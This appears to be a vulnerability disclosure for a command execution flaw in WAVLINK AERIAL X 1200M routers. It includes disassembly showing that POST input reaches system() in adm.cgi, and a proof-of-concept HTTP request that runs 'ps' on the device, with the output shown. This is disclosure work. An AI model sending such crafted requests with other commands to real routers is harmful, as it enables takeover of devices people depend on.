 main ▾


...

CVE_Request / AERIAL X 1200_Command Execution Vulnerability.md



pghuanghui Update AERIAL X 1200_Command Execution Vulnerability.md

 History

 1 contributor

 29 lines (16 sloc) | 1.02 KB

...

0x01 Vulnerability description

an issue was discovered on WAVLINK AERIAL X 1200M devices where a crafted POST request can be sent to adm.cgi that will result in the execution of the supplied command if there is an active session at the same time

0x02 Affected version

WAVLINK AERIAL X 1200M

0x03 Vulnerability

In adm.cgi, the received POST is directly spliced to the system function for execution

```
Listing: adm.cgi
00401470 18 00 bc 8f lw gp,local_248(sp)
00401474 bf 00 40 10 beq v0,zero,LAB_00401774
00401478 00 00 00 00 _nop
0040147c 00 00 22 82 lb v0,0x0(s1)
00401480 00 00 00 00 _nop
00401484 66 00 40 10 beq v0,zero,LAB_00401620
00401488 21 38 20 02 _move a3,s1
0040148c 20 80 85 8f lw a1,-0x7fe0(gp)=>PTR_s_ar_d_0045ad60 = 00410000
00401490 84 80 99 8f lw t9,-0x7f7c(gp)=>><EXTERNAL>::sprintf = 0040e450
00401494 70 e6 a5 24 addiu a1=>s_echo_-n_%s:_/_tmp/tmpchpw_&&/_0040e6... = "echo -n %s:%s > /tmp/tmpchpw ..."
00401498 21 30 40 02 move a2,s2
0040149c 09 f8 20 03 jalr t9=><EXTERNAL>::sprintf int sprintf(char * __s, char * __...
004014a0 21 20 00 02 _move a0,s0
004014a4 18 00 bc 8f lw gp,local_248(sp)
004014a8 21 20 00 02 move a0,s0
004014ac 3c 81 99 8f lw t9,-0x7ec4(gp)=>><EXTERNAL>::system = 0040e2e0
004014b0 00 00 00 00 _nop
004014b4 09 f8 20 03 jalr t9=><EXTERNAL>::system int system(char * __command)
004014b8 20 00 b0 27 _addiu s0,sp,0x20
004014bc 18 00 bc 8f lw gp,local_248(sp)
004014c0 60 e6 85 26 addiu a1=>s_Login_0040e660,s4,-0x19a0 = "Login"
004014c4 74 80 99 8f lw t9,-0x7f8c(gp)=>>nvrnm_bufset = 0040cc78
004014c8 21 30 40 02 move a2,s2
004014cc 09 f8 20 03 jalr t9=>nvrnm_bufset undefined nvrnm_bufset()
004014d0 21 20 00 00 _clear a0
004014d4 18 00 bc 8f lw gp,local_248(sp)
004014d8 21 30 20 02 move a2,s1
004014dc 20 80 85 8f lw a1,-0x7fe0(gp)=>PTR_s_ar_d_0045ad60 = 00410000
004014e0 74 80 99 8f lw t9,-0x7f8c(gp)=>>nvrnm_bufset = 0040cc78
004014e4 d4 e8 a5 24 addiu a1=>s_Password_0040e8d0+a1,-0x172c = "Password"
004014e8 09 f8 20 03 jalr t9=>nvrnm_bufset undefined nvrnm_bufset()
004014ec 21 20 00 00 _clear a0
004014f0 18 00 bc 8f lw gp,local_248(sp)
004014f4 00 00 00 00 _nop
004014f8 18 00 bc 8f lw gp,local_248(sp)
```

```
<form method="post" name="repeatLastSystemCommand" action="/cgi-bin/adm.cgi">
  <input value="Repeat Last Command" id="repeatLastCommand" name="repeatLastCommand" type="submit" />
  <input type="hidden" name="page" value="repeatLastCMD" />
</form>
<br>
<tr class="off">
<td>
<form method="post" name="resetFactoryAC" action="/cgi-bin/adm.cgi">
  <input value="Reset RF Parameters" id="resetFactoryParameters" name="resetFactoryParameters" type="submit" />
  <input type="hidden" name="page" value="resetFactory" />
</form>
</td>
</tr>
</table>

<table width="700" class="body">
<tr><td>
  <form method="post" name="ChangeSetting" action="/cgi-bin/adm.cgi">
  <input type="hidden" name="page" value="changeCMD" />
  WAN MAC: <input type="text" name="wanMAC" id="wanMAC" size="20" maxlength="17" style="height: 1.2em;" />
  LAN MAC: <input type="text" name="lanMAC" id="lanMAC" size="20" maxlength="17" style="height: 1.2em;" />
  ra0 MAC: <input type="text" name="ra0MAC" id="ra0MAC" size="20" maxlength="17" style="height: 1.2em;" />
  rai0 MAC: <input type="text" name="rai0MAC" id="rai0MAC" size="20" maxlength="17" style="height: 1.2em;" />
  rax0 MAC: <input type="text" name="rai0MAC" id="rai0MAC" size="20" maxlength="17" style="height: 1.2em;" />
  Confirm: <input type="text" name="Confirm:" id="Confirm:" size="10" maxlength="10" style="height: 1.2em;" />
  <input value="Apply" id="changeApply" name="changeApply" onClick="return changeCheck();" type="submit" />
</form>
```

0x04 PoC verification

	PID	USER	VSZ	STAT	COMMAND
1	admin286	2292	S		init
2	admin286	0	SW		[kthreadd]
3	admin286	0	SW		[ksoftirqd/0]
5	admin286	0	SW		[kworker/u:0]
6	admin286	0	SW<		[khelper]
7	admin286	0	SW		[sync_supers]
8	admin286	0	SW		[bdi-default]
9	admin286	0	SW<		[kblockd]
10	admin286	0	SW		[kswapd0]
11	admin286	0	SW<		[cryptol]
15	admin286	0	SW		[mtdblock0]
16	admin286	0	SW		[mtdblock1]
17	admin286	0	SW		[mtdblock2]
18	admin286	0	SW		[mtdblock3]
19	admin286	0	SW		[mtdblock4]
20	admin286	0	SW		[kworker/u:1]
88	admin286	0	SW		[kworker/0:1]
111	admin286	2828	S		nvrnm_daemon
425	admin286	5560	S		lighttpd -f /etc_ro/lighttpd/lighttpd.conf -m /etc_ro
1640	admin286	868	S		mtkiappd -wi ra0 -wi rai0

Recent Command

Request

PrettyRaw\nActions

1 POST /cgi-bin/adm.cgi HTTP/1.1

2 Host: 192.168.1.102

3 Content-Length: 48

4 Cache-Control: max-age=0

5 Upgrade-Insecure-Requests: 1

6 Origin: http://192.168.1.102

7 Content-Type: application/x-www-form-urlencoded

8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36

9 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

10 Referer: http://192.168.1.102/webcmd.shtml

11 Accept-Encoding: gzip, deflate

12 Accept-Language: zh-CN,zh;q=0.9

13 Connection: close

14

15 page=sysCMD&command=ps&SystemCommandSubmit=Apply

0x05 Acknowledgement

PeiWen.Huang

Yuyu.Cao

Shengjie.Xu